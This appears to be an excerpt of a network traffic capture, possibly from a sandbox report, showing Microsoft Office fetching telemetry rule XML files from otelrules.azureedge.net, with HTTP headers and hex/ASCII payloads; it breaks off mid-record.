2024-10-07 01:23:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:17 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: c326dec7-201e-0003-0c12-17f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012317Z-1657d5bbd48tnj6wmberkg2xy800000002yg000000002wrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:17 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 75ef523f-601e-000d-02f2-162618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48tnj6wmberkg2xy800000002y0000000004xh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 87e265fd-201e-0051-4fe7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48xlwdx82gahegw4000000003100000000060f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: c9f5e5fc-201e-0071-5dfe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48p2j6x2quer0q028000000030g000000008ruq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cad35e9e-b01e-0021-3602-17cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd4824mj9d6vp65b6n400000002yg00000000gpsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3e7839e3-701e-0053-5cff-163a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd4824mj9d6vp65b6n400000002y000000000megq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: c7b470af-b01e-005c-24fe-164c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48gqrfwecymhhbfm800000001p000000000897z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 20e89b60-501e-008c-3a03-17cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48tnj6wmberkg2xy800000002tg00000000paf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dfa7567c-f01e-003f-67de-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48dfrdj7px744zp8s00000002k000000000a5uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:18 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:18 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:18 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 838d7376-001e-0014-17fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012318Z-1657d5bbd48xdq5dkwwugdpzr0000000032g00000000g79r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:19 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7d18055e-701e-0098-56ff-16395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012319Z-1657d5bbd48xlwdx82gahegw4000000002zg00000000dcqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml 